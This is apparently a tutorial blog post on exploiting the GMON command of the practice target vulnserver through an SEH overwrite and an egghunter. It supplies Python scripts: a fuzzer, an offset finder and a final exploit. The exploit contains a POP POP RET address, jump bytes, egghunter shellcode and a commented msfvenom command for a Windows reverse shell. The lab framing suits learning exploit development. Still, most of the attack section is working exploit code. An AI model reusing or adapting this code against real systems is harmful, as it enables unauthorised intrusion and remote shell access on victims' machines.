I was really craving some SEH today, but someone mentioned EGG’s and I was like…what the hell, why not. So, going off vulnserver like we did last time, let’s build an exploit against SEH and make like the Easter Bunny and drop some eggs in there as well.

Fuzzing!

Like before, we need to fuzz the application to find out where we crash it. As I already knew that the GMON function was vulnerable I whipped up a quick fuzzer.

#!/usr/bin/python
 
import sys,socket
from struct import *
 
buf = []
count = 100
while len(buf) <= 100:
  buf.append("A" * count)
  count = count + 100
 
for string in buf:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect = s.connect(('192.168.1.41',6666))
  print '[+] Fuzzing GMON / with %s bytes' % (len(string))
  s.recv(1024)
  s.send('GMON / ' + string)
  s.recv(1024)
  s.close()

After kicking it off, we can see that the application crashes at around 4000 bytes of A’s. You can also see that we overwrite the SEH pointer and handler. You can see this in the stack, usually the SEH chains are near the bottom of the stack so just scroll on down in immunity and you should see something similar to the image below.

Crash

Overwrite SEH

Why is overwriting the SEH handler important? Well, read this excellent paper over at Exploit-db for some more information. All you need to know for this write-up is that it’s important, and it’s fun!

Finding the Offset!

Now that we know we can crash the application around 4000 bytes, let’s find the exact offset where we overwrite the EIP. As usual, we’ll use Metasploit pattern_create and pattern_offset for this task.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 4000

And then we’ll update our code with the new patter.

#!/usr/bin/python
 
import sys,socket
from struct import *
 
buf = 'Place your generated string here'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.1.41',6666))
print '[+] Fuzzing GMON / with %s bytes' % (len(buf))
s.recv(1024)
s.send('GMON / ' + buf)
s.recv(1024)
s.close()

Go ahead and restart vulnserver with CTRL+F2 and then execute the new script. You’ll have to pass the exception with ALT+F9. After you do this, you’ll see we have overwritten EIP with a new value. Send that value into pattern_offset to find the correct offset.

Offset

Offset

Note the offset, yours may differ but mine was 3521. Now remember, we want to overwrite the SE Handler so I’m going to subtract 4 from the offset. If we didn’t, we would get something like this.

Wrong overwrite

When we subtract 4 from the offset and verify it, we can now see we properly overwrite the SE Handler.

Correct overwrite

Finding our Return

Unlike the last buffer overflow, we aren’t going to look for a JMP ESP this time. Instead, we want to find a POP POP RET call. This will bring us back to the stack and execute our next SEH. Because we also control that record, we can change the pointer to something new. So our buffer looks something like this.

[String of NOPS] [Pointer to next SEH] [SE Handler] [Random Data]

So to find our return, we need to find some instruction calls that do pop pop ret. First, let’s look at our modules and make sure we can find one without SEH protections enabled.

Mona Modules

Looks like we can once again use essfunc.dll. So lets go find what we need. In immunity, bring up the executable modules with ALT+E and double click the essfunc.dll module. In the assembly window hit CTRL+S and enter the sequence. Check the image below for reference.

Searching

As you can see, we have a perfect candidate. Let’s take note of this address.

Found Return

Squeezing in the shellcode!

Now one problem we have is that after our buffer, we don’t have much room for our shellcode. It’s only something like 52 bytes before the end of the stack. We have a few options, but this is where I wanted to toss our EGG in.

No room.

So, after we POP POP RET and hit the next SEH, we can continue the flow of the application. What we want to do is JMP over our SE Handler into our ‘First Stage’ payload. This is where we’ll put the egghunter. So we’ll use JMP SHORT to jump over the SE Handler. \xEB\x06\x90\x90 or jmp short 0x8 nop nop.

Pro tip: you can verify this with the following.

# python -c 'print "\xEB\x06\x90\x90"' > jmp
# ndisasm -b 32 jmp
00000000  EB06              jmp short 0x8
00000002  90                nop
00000003  90                nop

So now our buffer looks like this.

[NOP][PAYLOAD][JMP SHORT 0x8][POP POP RET][EGGHUNTER]

So what will we use for an egghunter? I went out to corelan and grabbed the NTAccessCheck shellcode. Please go see the article. Very helpful

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

So our new and improved code looks like this.

#!/usr/bin/python
 
import sys,socket
from struct import *
 
offset = 3517
ret = pack('<L', 0x625010B4)    # POP EBX, POP EBP, RET
egg = "\x54\x30\x30\x57"        # W00T
 
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.37 LPORT=443 -e x86/shikata_ga_nai -v shellcode -f python -b "\x00"
shellcode =  "" 
 
buf = "\x90"*(offset - 4 - 4 - len(shellcode))
print len(buf)
buf += egg
buf += egg
buf += shellcode
print len(buf)
buf += "\xEB\x06\x90\x90"       # JMP SHORT 0x8, NOP NOP
buf += ret
buf += 
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"       
# Egghunter
buf += "\x90"*4000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.1.41',6666))
print '[+] Fuzzing GMON / with %s bytes' % (len(buf))
s.recv(1024)
s.send('GMON / ' + buf)
s.recv(1024)
s.close()

And that should do it. Your spiffy new overflow is ready to go. Generate your payload, update the script, and fire it off.